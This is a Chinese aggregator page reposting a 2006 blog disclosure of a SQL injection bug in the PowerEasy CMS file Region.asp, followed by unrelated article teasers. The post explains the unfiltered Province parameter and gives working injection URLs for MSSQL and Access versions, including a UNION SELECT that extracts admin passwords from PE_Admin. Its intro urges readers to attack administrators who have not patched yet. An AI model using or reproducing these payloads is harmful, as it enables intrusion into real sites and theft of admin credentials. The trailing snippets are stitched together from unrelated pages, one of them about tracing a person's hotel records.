每日好文
哇哈哈,昨天看到动易出补丁了,甚是郁闷,俺拿到这个0day都还没开始玩,就这样被洗白鸟,郁闷啊,早知道不玩动易主站,而且是get提交方式,当初如果听CN的话,也许这个0day还会一直埋在地下,刚看了下动易的补丁,这次补的地方不至这一个,哈哈,传说的7个以上的bug,不知道还省几个呢?下面是大概一个月前写的东西,发出来给大家搞一些懒惰的管理员,补丁都发2天了,还没补的话,就是管理员的错了哦,呵呵~~~38也还没补哦,要上的就快上,哈哈~~~ 文章标题:动易最新未公开Bug文章作者:WhyTt漏洞发现时间:2006年10月22日个人Blog:http://why_tt.mblogger.cn //个人个人Blog:http://whytt.mblogger.cn //技术影响版本:ACCESS和MSSQL 今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误!在Region.asp中 Country = ReplaceBadChar(Trim(Request("Country")))Province = ReplaceBadChar(Trim(Request("Province")))City = ReplaceBadChar(Trim(Request("City"))) 对所有传入的变量都进行了过滤,但是编程者在这里: Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")If Err Or TempRs.EOF Then ReDim ShowProvince(0, 0) Province = Trim(Request.QueryString("Province"))Else ShowProvince = TempRs.GetRows(-1)End IfSet TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" & Province & "'") 大家可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。 但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码: 0">http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+user>0-- 就是在 http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'后面加上我们的SQL注入语句。 这就是整个利用原理,很简单,但也很致命的漏洞。 上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。 http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' and 1=1 and '1'='1 这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。 http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+1
不能说的xs
各大高校开始繁忙起来 各人都放出大招求报名 看来一圈本年各地大学招生文案 我会觉得走错了网站 的确秀出新天际 君君禁不住叹服: 你们都是鬼才大学 ▼ 肌肉猛男风 上海体育学院的招新海报 满屏的荷尔...
相信现在有很多的朋友们对于公积金贷款麻烦吗 办理公积金贷款手续麻烦吗都想要了解吧,那么今天小编就来给大家针对公积金贷款麻烦吗 办理公积金贷款手续麻烦吗进行一个介绍吧,希望小编介绍的内容能够为大家起到帮...
如何查询一个人和谁开过房,开的房纪录能查出共住人吗外网地址只有查:(1)身份证号码号码归属;(身份证号码前六位是地域码,能够凭此明确这人第一次申请户籍的区县市,但由于身份证号码是终生不会改变的,一旦他...
编辑导读:作为一个产物司理,需求评审是产物设计开拓的一个重要环节。贯串产物实施的全进程,对产物的落地起着要害性的浸染。如何才气做好需求评审呢?本文作者基于自身事情履历,从四个角度对需求评审举办阐明,但...
本文导读目录: 1、博大精深的《黑客帝国》三部曲看了N遍了,还是没全看懂,哪位高手给个正解啊,还有他还会继续拍第四部吗? 2、看懂黑客帝国要先搞懂的 3、黑客帝国1看的不太懂,哪位大神帮我分析...
本文导读目录: 1、有没有跟国民校草是女生相似小说? 2、七猫免费小说赚钱是真的吗? 3、清凝 黑客 攻略 第一位面是校园文 攻略学霸校草 其中有意大利黑手党的出现 第二个位面是娱乐圈?...